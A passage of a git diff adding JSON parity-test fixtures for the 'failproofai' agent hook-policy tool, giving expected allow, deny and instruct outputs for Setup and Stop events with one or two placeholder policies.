00000000..c38c5a59 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f7a0adc6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4fc613ae --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c2b63b1f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..07f915cf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5904f4ed --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..77eddbd8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d756389c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2507e22e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fe9feb71 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..88c91eb4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..981fe2ef --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a53f1ff6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..77d9278e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..61aa2d08 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a5ade15c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2ddf9da0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c2302d17 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"continue\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..48a2cbc7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + 